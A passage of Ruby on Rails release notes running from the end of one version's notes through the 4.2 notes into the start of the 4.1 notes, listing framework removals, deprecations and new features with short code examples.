- Added foreign_key_exists? method to see if a foreign key exists on a table or not. (Pull Request)

- Added :time option to touch method to touch records with different time than the current time. (Pull Request)

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Removals

- Removed deprecated ActiveModel::Dirty#reset_#{attribute} and ActiveModel::Dirty#reset_changes. (Pull Request)

- Removed XML serialization. This feature has been extracted into the activemodel-serializers-xml gem. (Pull Request)

- Removed ActionController::ModelNaming module. (Pull Request)

8.2 Deprecations

- Deprecated returning false as a way to halt Active Model and ActiveModel::Validations callback chains. The recommended way is to throw(:abort). (Pull Request)

- Deprecated ActiveModel::Errors#get, ActiveModel::Errors#set and ActiveModel::Errors#[]= methods that have inconsistent behavior. (Pull Request)

- Deprecated the :tokenizer option for validates_length_of, in favor of plain Ruby. (Pull Request)

- Deprecated ActiveModel::Errors#add_on_empty and ActiveModel::Errors#add_on_blank with no replacement. (Pull Request)

8.3 Notable changes

- Added ActiveModel::Errors#details to determine what validator has failed. (Pull Request)

- Extracted ActiveRecord::AttributeAssignment to ActiveModel::AttributeAssignment allowing to use it for any object as an includable module. (Pull Request)

- Added ActiveModel::Dirty#[attr_name]_previously_changed? and ActiveModel::Dirty#[attr_name]_previous_change to improve access to recorded changes after the model has been saved. (Pull Request)

- Validate multiple contexts on valid? and invalid? at once. (Pull Request)

- Change validates_acceptance_of to accept true as default value apart from 1. (Pull Request)

9 Active Job

Please refer to the Changelog for detailed changes.

9.1 Notable changes

- ActiveJob::Base.deserialize delegates to the job class. This allows jobs to attach arbitrary metadata when they get serialized and read it back when they get performed. (Pull Request)

- Add ability to configure the queue adapter on a per job basis without affecting each other. (Pull Request)

- A generated job now inherits from app/jobs/application_job.rb by default. (Pull Request)

- Allow DelayedJob, Sidekiq, qu, que, and queue_classic to report the job id back to ActiveJob::Base as provider_job_id. (Pull Request, Pull Request, commit)

- Implement a simple AsyncJob processor and associated AsyncAdapter that queue jobs to a concurrent-ruby thread pool. (Pull Request)

- Change the default adapter from inline to async. It's a better default as tests will then not mistakenly come to rely on behavior happening synchronously. (commit)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

- Removed deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. (commit)

- Removed deprecated methods ActiveSupport::JSON::Encoding.encode_big_decimal_as_string= and ActiveSupport::JSON::Encoding.encode_big_decimal_as_string. (commit)

- Removed deprecated ActiveSupport::SafeBuffer#prepend. (commit)

- Removed deprecated methods from Kernel. silence_stderr, silence_stream, capture and quietly. (commit)

- Removed deprecated active_support/core_ext/big_decimal/yaml_conversions file. (commit)

- Removed deprecated methods ActiveSupport::Cache::Store.instrument and ActiveSupport::Cache::Store.instrument=. (commit)

- Removed deprecated Class#superclass_delegating_accessor. Use Class#class_attribute instead. (Pull Request)

- Removed deprecated ThreadSafe::Cache. Use Concurrent::Map instead. (Pull Request)

- Removed Object#itself as it is implemented in Ruby 2.2. (Pull Request)

10.2 Deprecations

- Deprecated MissingSourceFile in favor of LoadError. (commit)

- Deprecated alias_method_chain in favour of Module#prepend introduced in Ruby 2.0. (Pull Request)

- Deprecated ActiveSupport::Concurrency::Latch in favor of Concurrent::CountDownLatch from concurrent-ruby. (Pull Request)

- Deprecated :prefix option of number_to_human_size with no replacement. (Pull Request)

- Deprecated Module#qualified_const_ in favour of the builtin Module#const_ methods. (Pull Request)

- Deprecated passing string to define callback. (Pull Request)

- Deprecated ActiveSupport::Cache::Store#namespaced_key, ActiveSupport::Cache::MemCachedStore#escape_key, and ActiveSupport::Cache::FileStore#key_file_path. Use normalize_key instead. (Pull Request, commit)

- Deprecated ActiveSupport::Cache::LocaleCache#set_cache_value in favor of write_cache_value. (Pull Request)

- Deprecated passing arguments to assert_nothing_raised. (Pull Request)

- Deprecated Module.local_constants in favor of Module.constants(false). (Pull Request)

10.3 Notable changes

- Added #verified and #valid_message? methods to ActiveSupport::MessageVerifier. (Pull Request)

- Changed the way in which callback chains can be halted. The preferred method to halt a callback chain from now on is to explicitly throw(:abort). (Pull Request)

- New config option config.active_support.halt_callback_chains_on_return_false to specify whether ActiveRecord, ActiveModel and ActiveModel::Validations callback chains can be halted by returning false in a 'before' callback. (Pull Request)

- Changed the default test order from :sorted to :random. (commit)

- Added #on_weekend?, #on_weekday?, #next_weekday, #prev_weekday methods to Date, Time, and DateTime. (Pull Request, Pull Request)

- Added same_time option to #next_week and #prev_week for Date, Time, and DateTime. (Pull Request)

- Added #prev_day and #next_day counterparts to #yesterday and #tomorrow for Date, Time, and DateTime. (Pull Request)

- Added SecureRandom.base58 for generation of random base58 strings. (commit)

- Added file_fixture to ActiveSupport::TestCase. It provides a simple mechanism to access sample files in your test cases. (Pull Request)

- Added #without on Enumerable and Array to return a copy of an enumerable without the specified elements. (Pull Request)

- Added ActiveSupport::ArrayInquirer and Array#inquiry. (Pull Request)

- Added ActiveSupport::TimeZone#strptime to allow parsing times as if from a given timezone. (commit)

- Added Integer#positive? and Integer#negative? query methods in the vein of Integer#zero?. (commit)

- Added a bang version to ActiveSupport::OrderedOptions get methods which will raise an KeyError if the value is .blank?. (Pull Request)

- Added Time.days_in_year to return the number of days in the given year, or the current year if no argument is provided. (commit)

- Added an evented file watcher to asynchronously detect changes in the application source code, routes, locales, etc. (Pull Request)

- Added thread_m/cattr_accessor/reader/writer suite of methods for declaring class and module variables that live per-thread. (Pull Request)

- Added Array#second_to_last and Array#third_to_last methods. (Pull Request)

- Publish ActiveSupport::Executor and ActiveSupport::Reloader APIs to allow components and libraries to manage, and participate in, the execution of application code, and the application reloading process. (Pull Request)

- ActiveSupport::Duration now supports ISO8601 formatting and parsing. (Pull Request)

- ActiveSupport::JSON.decode now supports parsing ISO8601 local times when parse_json_times is enabled. (Pull Request)

- ActiveSupport::JSON.decode now return Date objects for date strings. (Pull Request)

- Added ability to TaggedLogging to allow loggers to be instantiated multiple times so that they don't share tags with each other. (Pull Request)

11 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 4.2 Release Notes — Ruby...

1 Upgrading to Rails 4.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.1 in case you haven't and make sure your application still runs as expected before attempting to upgrade to Rails 4.2. A list of things to watch out for when upgrading is available in the guide Upgrading Ruby on Rails.

2 Major Features

2.1 Active Job

Active Job is a new framework in Rails 4.2. It is a common interface on top of queuing systems like Resque, Delayed Job, Sidekiq, and more.

Jobs written with the Active Job API run on any of the supported queues thanks to their respective adapters. Active Job comes pre-configured with an inline runner that executes jobs right away.

Jobs often need to take Active Record objects as arguments. Active Job passes object references as URIs (uniform resource identifiers) instead of marshaling the object itself. The new Global ID library builds URIs and looks up the objects they reference. Passing Active Record objects as job arguments just works by using Global ID internally.

For example, if trashable is an Active Record object, then this job runs just fine with no serialization involved:

class TrashableCleanupJob < ActiveJob::Base
def perform(trashable, depth)
trashable.cleanup(depth)
end
end

See the Active Job Basics guide for more information.

2.2 Asynchronous Mails

Building on top of Active Job, Action Mailer now comes with a deliver_later method that sends emails via the queue, so it doesn't block the controller or model if the queue is asynchronous (the default inline queue blocks).

Sending emails right away is still possible with deliver_now.

2.3 Adequate Record

Adequate Record is a set of performance improvements in Active Record that makes common find and find_by calls and some association queries up to 2x faster.

It works by caching common SQL queries as prepared statements and reusing them on similar calls, skipping most of the query-generation work on subsequent calls. For more details, please refer to Aaron Patterson's blog post.

Active Record will automatically take advantage of this feature on supported operations without any user involvement or code changes. Here are some examples of supported operations:

Post.find(1)  # First call generates and cache the prepared statement
Post.find(2)  # Subsequent calls reuse the cached prepared statement

Post.find_by_title('first post')
Post.find_by_title('second post')

Post.find_by(title: 'first post')
Post.find_by(title: 'second post')

post.comments
post.comments(true)

It's important to highlight that, as the examples above suggest, the prepared statements do not cache the values passed in the method calls; rather, they have placeholders for them.

Caching is not used in the following scenarios:

- The model has a default scope

- The model uses single table inheritance

- find with a list of ids, e.g.:

# not cached
Post.find(1, 2, 3)
Post.find([1,2])

- find_by with SQL fragments:

Post.find_by('published_at < ?', 2.weeks.ago)

2.4 Web Console

New applications generated with Rails 4.2 now come with the Web Console gem by default. Web Console adds an interactive Ruby console on every error page and provides a console view and controller helpers.

The interactive console on error pages lets you execute code in the context of the place where the exception originated. The console helper, if called anywhere in a view or controller, launches an interactive console with the final context, once rendering has completed.

2.5 Foreign Key Support

The migration DSL now supports adding and removing foreign keys. They are dumped to schema.rb as well. At this time, only the mysql, mysql2 and postgresql adapters support foreign keys.

# add a foreign key to `articles.author_id` referencing `authors.id`
add_foreign_key :articles, :authors

# add a foreign key to `articles.author_id` referencing `users.lng_id`
add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"

# remove the foreign key on `accounts.branch_id`
remove_foreign_key :accounts, :branches

# remove the foreign key on `accounts.owner_id`
remove_foreign_key :accounts, column: :owner_id

See the API documentation on add_foreign_key and remove_foreign_key for a full description.

3 Incompatibilities

Previously deprecated functionality has been removed. Please refer to the individual components for new deprecations in this release.

The following changes may require immediate action upon upgrade.

3.1 render with a String Argument

Previously, calling render "foo/bar" in a controller action was equivalent to render file: "foo/bar". In Rails 4.2, this has been changed to mean render template: "foo/bar" instead. If you need to render a file, please change your code to use the explicit form (render file: "foo/bar") instead.

3.2 respond_with / Class-Level respond_to

respond_with and the corresponding class-level respond_to have been moved to the responders gem. Add gem 'responders', '~> 2.0' to your Gemfile to use it:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
respond_to :html, :json

def show
@user = User.find(params[:id])
respond_with @user
end
end

Instance-level respond_to is unaffected:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
def show
@user = User.find(params[:id])
respond_to do |format|
format.html
format.json { render json: @user }
end
end
end

3.3 Default Host for rails server

Due to a change in Rack, rails server now listens on localhost instead of 0.0.0.0 by default. This should have minimal impact on the standard development workflow as both http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before on your own machine.

However, with this change you will no longer be able to access the Rails server from a different machine, for example if your development environment is in a virtual machine and you would like to access it from the host machine. In such cases, please start the server with rails server -b 0.0.0.0 to restore the old behavior.

If you do this, be sure to configure your firewall properly such that only trusted machines on your network can access your development server.

3.4 Changed status option symbols for render

Due to a change in Rack, the symbols that the render method accepts for the :status option have changed:

- 306: :reserved has been removed.

- 413: :request_entity_too_large has been renamed to :payload_too_large.

- 414: :request_uri_too_long has been renamed to :uri_too_long.

- 416: :requested_range_not_satisfiable has been renamed to :range_not_satisfiable.

Keep in mind that if calling render with an unknown symbol, the response status will default to 500.

3.5 HTML Sanitizer

The HTML sanitizer has been replaced with a new, more robust, implementation built upon Loofah and Nokogiri. The new sanitizer is more secure and its sanitization is more powerful and flexible.

Due to the new algorithm, the sanitized output may be different for certain pathological inputs.

If you have a particular need for the exact output of the old sanitizer, you can add the rails-deprecated_sanitizer gem to the Gemfile, to have the old behavior. The gem does not issue deprecation warnings because it is opt-in.

rails-deprecated_sanitizer will be supported for Rails 4.2 only; it will not be maintained for Rails 5.0.

See this blog post for more details on the changes in the new sanitizer.

3.6 assert_select

assert_select is now based on Nokogiri. As a result, some previously-valid selectors are now unsupported. If your application is using any of these spellings, you will need to update them:

- Values in attribute selectors may need to be quoted if they contain non-alphanumeric characters.

# before
a[href=/]
a[href$=/]

# now
a[href="/"]
a[href$="/"]

- DOMs built from HTML source containing invalid HTML with improperly nested elements may differ. For example:

# content: <div><i><p></i></div>

# before:
assert_select('div > i')  # => true
assert_select('div > p')  # => false
assert_select('i > p')    # => true

# now:
assert_select('div > i')  # => true
assert_select('div > p')  # => true
assert_select('i > p')    # => false

- If the data selected contains entities, the value selected for comparison used to be raw (e.g. AT&amp;T), and now is evaluated (e.g. AT&T).

# content: <p>AT&amp;T</p>

# before:
assert_select('p', 'AT&amp;T')  # => true
assert_select('p', 'AT&T')      # => false

# now:
assert_select('p', 'AT&T')      # => true
assert_select('p', 'AT&amp;T')  # => false

Furthermore substitutions have changed syntax.

Now you have to use a :match CSS-like selector:

assert_select ":match('id', ?)", 'comment_1'

Additionally Regexp substitutions look different when the assertion fails. Notice how /hello/ here:

assert_select(":match('id', ?)", /hello/)

becomes "(?-mix:hello)":

Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0..
Expected 0 to be >= 1.

See the Rails Dom Testing documentation for more on assert_select.

4 Railties

Please refer to the Changelog for detailed changes.

4.1 Removals

- The --skip-action-view option has been removed from the app generator. (Pull Request)

- The rails application command has been removed without replacement. (Pull Request)

4.2 Deprecations

- Deprecated missing config.log_level for production environments. (Pull Request)

- Deprecated rake test:all in favor of rake test as it now run all tests in the test folder. (Pull Request)

- Deprecated rake test:all:db in favor of rake test:db. (Pull Request)

- Deprecated Rails::Rack::LogTailer without replacement. (Commit)

4.3 Notable changes

- Introduced web-console in the default application Gemfile. (Pull Request)

- Added a required option to the model generator for associations. (Pull Request)

- Introduced the x namespace for defining custom configuration options:

# config/environments/production.rb
config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries  = 3
config.x.super_debugger              = true

These options are then available through the configuration object:

Rails.configuration.x.payment_processing.schedule # => :daily
Rails.configuration.x.payment_processing.retries  # => 3
Rails.configuration.x.super_debugger              # => true

(Commit)

- Introduced Rails::Application.config_for to load a configuration for the current environment.

# config/exception_notification.yml:
production:
url: http://127.0.0.1:8080
namespace: my_app_production
development:
url: http://localhost:3001
namespace: my_app_development

# config/environments/production.rb
Rails.application.configure do
config.middleware.use ExceptionNotifier, config_for(:exception_notification)
end

(Pull Request)

- Introduced a --skip-turbolinks option in the app generator to not generate turbolinks integration. (Commit)

- Introduced a bin/setup script as a convention for automated setup code when bootstrapping an application. (Pull Request)

- Changed the default value for config.assets.digest to true in development. (Pull Request)

- Introduced an API to register new extensions for rake notes. (Pull Request)

- Introduced an after_bundle callback for use in Rails templates. (Pull Request)

- Introduced Rails.gem_version as a convenience method to return Gem::Version.new(Rails.version). (Pull Request)

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

- respond_with and the class-level respond_to have been removed from Rails and moved to the responders gem (version 2.0). Add gem 'responders', '~> 2.0' to your Gemfile to continue using these features. (Pull Request, More Details)

- Removed deprecated AbstractController::Helpers::ClassMethods::MissingHelperError in favor of AbstractController::Helpers::MissingHelperError. (Commit)

5.2 Deprecations

- Deprecated the only_path option on *_path helpers. (Commit)

- Deprecated assert_tag, assert_no_tag, find_tag and find_all_tag in favor of assert_select. (Commit)

- Deprecated support for setting the :to option of a router to a symbol or a string that does not contain a "#" character:

get '/posts', to: MyRackApp    => (No change necessary)
get '/posts', to: 'post#index' => (No change necessary)
get '/posts', to: 'posts'      => get '/posts', controller: :posts
get '/posts', to: :index       => get '/posts', action: :index

(Commit)

- Deprecated support for string keys in URL helpers:

# bad
root_path('controller' => 'posts', 'action' => 'index')

# good
root_path(controller: 'posts', action: 'index')

(Pull Request)

5.3 Notable changes

- The *_filter family of methods have been removed from the documentation. Their usage is discouraged in favor of the *_action family of methods:

after_filter          => after_action
append_after_filter   => append_after_action
append_around_filter  => append_around_action
append_before_filter  => append_before_action
around_filter         => around_action
before_filter         => before_action
prepend_after_filter  => prepend_after_action
prepend_around_filter => prepend_around_action
prepend_before_filter => prepend_before_action
skip_after_filter     => skip_after_action
skip_around_filter    => skip_around_action
skip_before_filter    => skip_before_action
skip_filter           => skip_action_callback

If your application currently depends on these methods, you should use the replacement *_action methods instead. These methods will be deprecated in the future and will eventually be removed from Rails. (Commit 1, 2)

- render nothing: true or rendering a nil body no longer add a single space padding to the response body. (Pull Request)

- Rails now automatically includes the template's digest in ETags. (Pull Request)

- Segments that are passed into URL helpers are now automatically escaped. (Commit)

- Introduced the always_permitted_parameters option to configure which parameters are permitted globally. The default value of this configuration is ['controller', 'action']. (Pull Request)

- Added the HTTP method MKCALENDAR from RFC 4791. (Pull Request)

- *_fragment.action_controller notifications now include the controller and action name in the payload. (Pull Request)

- Improved the Routing Error page with fuzzy matching for route search. (Pull Request)

- Added an option to disable logging of CSRF failures. (Pull Request)

- When the Rails server is set to serve static assets, gzip assets will now be served if the client supports it and a pre-generated gzip file (.gz) is on disk. By default the asset pipeline generates .gz files for all compressible assets. Serving gzip files minimizes data transfer and speeds up asset requests. Always use a CDN if you are serving assets from your Rails server in production. (Pull Request)

- When calling the process helpers in an integration test the path needs to have a leading slash. Previously you could omit it but that was a byproduct of the implementation and not an intentional feature, e.g.:

test "list all posts" do
get "/posts"
assert_response :success
end

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Deprecations

- Deprecated AbstractController::Base.parent_prefixes. Override AbstractController::Base.local_prefixes when you want to change where to find views. (Pull Request)

- Deprecated ActionView::Digestor#digest(name, format, finder, options = {}). Arguments should be passed as a hash instead. (Pull Request)

6.2 Notable changes

- render "foo/bar" now expands to render template: "foo/bar" instead of render file: "foo/bar". (Pull Request)

- The form helpers no longer generate a <div> element with inline CSS around the hidden fields. (Pull Request)

- Introduced a #{partial_name}_iteration special local variable for use with partials that are rendered with a collection. It provides access to the current state of the iteration via the index, size, first? and last? methods. (Pull Request)

- Placeholder I18n follows the same convention as label I18n. (Pull Request)

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Deprecations

- Deprecated *_path helpers in mailers. Always use *_url helpers instead. (Pull Request)

- Deprecated deliver / deliver! in favor of deliver_now / deliver_now!. (Pull Request)

7.2 Notable changes

- link_to and url_for generate absolute URLs by default in templates, it is no longer needed to pass only_path: false. (Commit)

- Introduced deliver_later which enqueues a job on the application's queue to deliver emails asynchronously. (Pull Request)

- Added the show_previews configuration option for enabling mailer previews outside of the development environment. (Pull Request)

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

- Removed cache_attributes and friends. All attributes are cached. (Pull Request)

- Removed deprecated method ActiveRecord::Base.quoted_locking_column. (Pull Request)

- Removed deprecated ActiveRecord::Migrator.proper_table_name. Use the proper_table_name instance method on ActiveRecord::Migration instead. (Pull Request)

- Removed unused :timestamp type. Transparently alias it to :datetime in all cases. Fixes inconsistencies when column types are sent outside of Active Record, such as for XML serialization. (Pull Request)

8.2 Deprecations

- Deprecated swallowing of errors inside after_commit and after_rollback. (Pull Request)

- Deprecated broken support for automatic detection of counter caches on has_many :through associations. You should instead manually specify the counter cache on the has_many and belongs_to associations for the through records. (Pull Request)

- Deprecated passing Active Record objects to .find or .exists?. Call id on the objects first. (Commit 1, 2)

- Deprecated half-baked support for PostgreSQL range values with excluding beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion is not fully possible because Ruby ranges do not support excluded beginnings. The current solution of incrementing the beginning is not correct and is now deprecated. For subtypes where we don't know how to increment (e.g. succ is not defined) it will raise an ArgumentError for ranges with excluding beginnings. (Commit)

- Deprecated calling DatabaseTasks.load_schema without a connection. Use DatabaseTasks.load_schema_current instead. (Commit)

- Deprecated sanitize_sql_hash_for_conditions without replacement. Using a Relation for performing queries and updates is the preferred API. (Commit)

- Deprecated add_timestamps and t.timestamps without passing the :null option. The default of null: true will change in Rails 5 to null: false. (Pull Request)

- Deprecated Reflection#source_macro without replacement as it is no longer needed in Active Record. (Pull Request)

- Deprecated serialized_attributes without replacement. (Pull Request)

- Deprecated returning nil from column_for_attribute when no column exists. It will return a null object in Rails 5.0. (Pull Request)

- Deprecated using .joins, .preload and .eager_load with associations that depend on the instance state (i.e. those defined with a scope that takes an argument) without replacement. (Commit)

8.3 Notable changes

- SchemaDumper uses force: :cascade on create_table. This makes it possible to reload a schema when foreign keys are in place.

- Added a :required option to singular associations, which defines a presence validation on the association. (Pull Request)

- ActiveRecord::Dirty now detects in-place changes to mutable values. Serialized attributes on Active Record models are no longer saved when unchanged. This also works with other types such as string columns and json columns on PostgreSQL. (Pull Requests 1, 2, 3)

- Introduced the db:purge Rake task to empty the database for the current environment. (Commit)

- Introduced ActiveRecord::Base#validate! that raises ActiveRecord::RecordInvalid if the record is invalid. (Pull Request)

- Introduced validate as an alias for valid?. (Pull Request)

- touch now accepts multiple attributes to be touched at once. (Pull Request)

- The PostgreSQL adapter now supports the jsonb datatype in PostgreSQL 9.4+. (Pull Request)

- The PostgreSQL and SQLite adapters no longer add a default limit of 255 characters on string columns. (Pull Request)

- Added support for the citext column type in the PostgreSQL adapter. (Pull Request)

- Added support for user-created range types in the PostgreSQL adapter. (Commit)

- sqlite3:///some/path now resolves to the absolute system path /some/path. For relative paths, use sqlite3:some/path instead. (Previously, sqlite3:///some/path resolved to the relative path some/path. This behavior was deprecated on Rails 4.1). (Pull Request)

- Added support for fractional seconds for MySQL 5.6 and above. (Pull Request 1, 2)

- Added ActiveRecord::Base#pretty_print to pretty print models. (Pull Request)

- ActiveRecord::Base#reload now behaves the same as m = Model.find(m.id), meaning that it no longer retains the extra attributes from custom SELECTs. (Pull Request)

- ActiveRecord::Base#reflections now returns a hash with string keys instead of symbol keys. (Pull Request)

- The references method in migrations now supports a type option for specifying the type of the foreign key (e.g. :uuid). (Pull Request)

9 Active Model

Please refer to the Changelog for detailed changes.

9.1 Removals

- Removed deprecated Validator#setup without replacement. (Pull Request)

9.2 Deprecations

- Deprecated reset_#{attribute} in favor of restore_#{attribute}. (Pull Request)

- Deprecated ActiveModel::Dirty#reset_changes in favor of clear_changes_information. (Pull Request)

9.3 Notable changes

- Introduced validate as an alias for valid?. (Pull Request)

- Introduced the restore_attributes method in ActiveModel::Dirty to restore the changed (dirty) attributes to their previous values. (Pull Request 1, 2)

- has_secure_password no longer disallows blank passwords (i.e. passwords that contains only spaces) by default. (Pull Request)

- has_secure_password now verifies that the given password is less than 72 characters if validations are enabled. (Pull Request)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

- Removed deprecated Numeric#ago, Numeric#until, Numeric#since, Numeric#from_now. (Commit)

- Removed deprecated string based terminators for ActiveSupport::Callbacks. (Pull Request)

10.2 Deprecations

- Deprecated Kernel#silence_stderr, Kernel#capture and Kernel#quietly without replacement. (Pull Request)

- Deprecated Class#superclass_delegating_accessor, use Class#class_attribute instead. (Pull Request)

- Deprecated ActiveSupport::SafeBuffer#prepend! as ActiveSupport::SafeBuffer#prepend now performs the same function. (Pull Request)

10.3 Notable changes

- Introduced a new configuration option active_support.test_order for specifying the order test cases are executed. This option currently defaults to :sorted but will be changed to :random in Rails 5.0. (Commit)

- Object#try and Object#try! can now be used without an explicit receiver in the block. (Commit, Pull Request)

- The travel_to test helper now truncates the usec component to 0. (Commit)

- Introduced Object#itself as an identity function. (Commit 1, 2)

- Object#with_options can now be used without an explicit receiver in the block. (Pull Request)

- Introduced String#truncate_words to truncate a string by a number of words. (Pull Request)

- Added Hash#transform_values and Hash#transform_values! to simplify a common pattern where the values of a hash must change, but the keys are left the same. (Pull Request)

- The humanize inflector helper now strips any leading underscores. (Commit)

- Introduced Concern#class_methods as an alternative to module ClassMethods, as well as Kernel#concern to avoid the module Foo; extend ActiveSupport::Concern; end boilerplate. (Commit)

- New guide about constant autoloading and reloading.

11 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails the stable and robust framework it is today. Kudos to all of them.

Ruby on Rails 4.1 Release Notes — Ruby...

1 Upgrading to Rails 4.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.1. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Spring Application Preloader

Spring is a Rails application preloader. It speeds up development by keeping your application running in the background so you don't need to boot it every time you run a test, rake task or migration.

New Rails 4.1 applications will ship with "springified" binstubs. This means that bin/rails and bin/rake will automatically take advantage of preloaded spring environments.

Running rake tasks:

bin/rake test:models

Running a Rails command:

bin/rails console

Spring introspection:

$ bin/spring status
Spring is running:

1182 spring server | my_app | started 29 mins ago
3656 spring app    | my_app | started 23 secs ago | test mode
3746 spring app    | my_app | started 10 secs ago | development mode

Have a look at the Spring README to see all available features.

See the Upgrading Ruby on Rails guide on how to migrate existing applications to use this feature.

2.2 config/secrets.yml

Rails 4.1 generates a new secrets.yml file in the config folder. By default, this file contains the application's secret_key_base, but it could also be used to store other secrets such as access keys for external APIs.

The secrets added to this file are accessible via Rails.application.secrets. For example, with the following config/secrets.yml:

development:
secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

Rails.application.secrets.some_api_key returns SOMEKEY in the development environment.

See the Upgrading Ruby on Rails guide on how to migrate existing applications to use this feature.

2.3 Action Pack Variants

We often want to render different HTML/JSON/XML templates for phones, tablets, and desktop browsers. Variants make it easy.

The request variant is a specialization of the request format, like :tablet, :phone, or :desktop.

You can set the variant in a before_action:

request.variant = :tablet if request.user_agent =~ /iPad/

Respond to variants in the action just like you respond to formats:

respond_to do |format|
format.html do |html|
html.tablet # renders app/views/projects/show.html+tablet.erb
html.phone { extra_setup; render ... }
end
end

Provide separate templates for each format and variant:

app/views/projects/show.html.erb
app/views/projects/show.html+tablet.erb
app/views/projects/show.html+phone.erb

You can also simplify the variants definition using the inline syntax:

respond_to do |format|
format.js         { render "trash" }
format.html.phone { redirect_to progress_path }
format.html.none  { render "trash" }
end

2.4 Action Mailer Previews

Action Mailer previews provide a way to see how emails look by visiting a special URL that renders them.

You implement a preview class whose methods return the mail object you'd like to check:

class NotifierPreview < ActionMailer::Preview
def welcome
Notifier.welcome(User.first)
end
end

The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, and a list of them in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. This can be configured using the preview_path option.

See its documentation for a detailed write up.

2.5 Active Record enums

Declare an enum attribute where the values map to integers in the database, but can be queried by name.

class Conversation < ActiveRecord::Base
enum status: [ :active, :archived ]
end

conversation.archived!
conversation.active? # => false
conversation.status  # => "archived"

Conversation.archived # => Relation for all archived Conversations

Conversation.statuses # => { "active" => 0, "archived" => 1 }

See its documentation for a detailed write up.

2.6 Message Verifiers

Message verifiers can be used to generate and verify signed messages. This can be useful to safely transport sensitive data like remember-me tokens and friends.

The method Rails.application.message_verifier returns a new message verifier that signs messages with a key derived from secret_key_base and the given message verifier name:

signed_token = Rails.application.message_verifier(:remember_me).generate(token)
Rails.application.message_verifier(:remember_me).verify(signed_token) # => token

Rails.application.message_verifier(:remember_me).verify(tampered_token)
# raises ActiveSupport::MessageVerifier::InvalidSignature

2.7 Module#concerning

A natural, low-ceremony way to separate responsibilities within a class:

class Todo < ActiveRecord::Base
concerning :EventTracking do
included do
has_many :events
end

def latest_event
...
end

private
def some_internal_method
...
end
end
end

This example is equivalent to defining a EventTracking module inline, extending it with ActiveSupport::Concern, then mixing it in to the Todo class.

See its documentation for a detailed write up and the intended use cases.

2.8 CSRF protection from remote <script> tags

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. That prevents a third-party site from referencing your JavaScript URL and attempting to run it to extract sensitive data.

This means any of your tests that hit .js URLs will now fail CSRF protection unless they use xhr. Upgrade your tests to be explicit about expecting XmlHttpRequests. Instead of post :create, format: :js, switch to the explicit xhr :post, :create, format: :js.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

- Removed update:application_controller rake task.

- Removed deprecated Rails.application.railties.engines.

- Removed deprecated threadsafe! from Rails Config.

- Removed deprecated ActiveRecord::Generators::ActiveModel#update_attributes in favor of ActiveRecord::Generators::ActiveModel#update.

- Removed deprecated config.whiny_nils option.

- Removed deprecated rake tasks for running tests: rake test:uncommitted and rake test:recent.

3.2 Notable changes

- The Spring application preloader is now installed by default for new applications. It uses the development group of the Gemfile, so will not be installed in production. (Pull Request)

- BACKTRACE environment variable to show unfiltered backtraces for test failures. (Commit)

- Exposed MiddlewareStack#unshift to environment configuration. (Pull Request)

- Added Application#message_verifier method to return a message verifier. (Pull Request)

- The test_help.rb file which is required by the default generated test helper will automatically keep your test database up-to-date with db/schema.rb (or db/structure.sql). It raises an error if reloading the schema does not resolve all pending migrations. Opt out with config.active_record.maintain_test_schema = false. (Pull Request)

- Introduce Rails.gem_version as a convenience method to return Gem::Version.new(Rails.version), suggesting a more reliable way to perform version comparison. (Pull Request)

4 Action Pack

Please refer to the Changelog for detailed changes.

4.1 Removals

- Removed deprecated Rails application fallback for integration testing, set ActionDispatch.test_app instead.

- Removed deprecated page_cache_extension config.

- Removed deprecated ActionController::RecordIdentifier, use ActionView::RecordIdentifier instead.

- Removed deprecated constants from Action Controller:

Removed

Successor

ActionController::AbstractRequest

ActionDispatch::Request

ActionController::Request

ActionDispatch::Request

ActionController::AbstractResponse

ActionDispatch::Response

ActionController::Response

ActionDispatch::Response

ActionController::Routing

ActionDispatch::Routing

ActionController::Integration

ActionDispatch::Integration

ActionController::IntegrationTest

ActionDispatch::IntegrationTest

4.2 Notable changes

- protect_from_forgery also prevents cross-origin <script> tags. Update your tests to use xhr :get, :foo, format: :js instead of get :foo, format: :js. (Pull Request)

- #url_for takes a hash with options inside an array. (Pull Request)

- Added session#fetch method fetch behaves similarly to Hash#fetch, with the exception that the returned value is always saved into the session. (Pull Request)

- Separated Action View completely from Action Pack. (Pull Request)

- Log which keys were affected by deep munge. (Pull Request)

- New config option config.action_dispatch.perform_deep_munge to opt out of params "deep munging" that was used to address security vulnerability CVE-2013-0155. (Pull Request)

- New config option config.action_dispatch.cookies_serializer for specifying a serializer for the signed and encrypted cookie jars. (Pull Requests 1, 2 / More Details)

- Added render :plain, render :html and render :body. (Pull Request / More Details)

5 Action Mailer

Please refer to the Changelog for detailed changes.

5.1 Notable changes

- Added mailer previews feature based on 37 Signals mail_view gem. (Commit)

- Instrument the generation of Action Mailer messages. The time it takes to generate a message is written to the log. (Pull Request)

6 Active Record

Please refer to the Changelog for detailed changes.

6.1 Removals

- Removed deprecated nil-passing to the following SchemaCache methods: primary_keys, tables, columns and columns_hash.

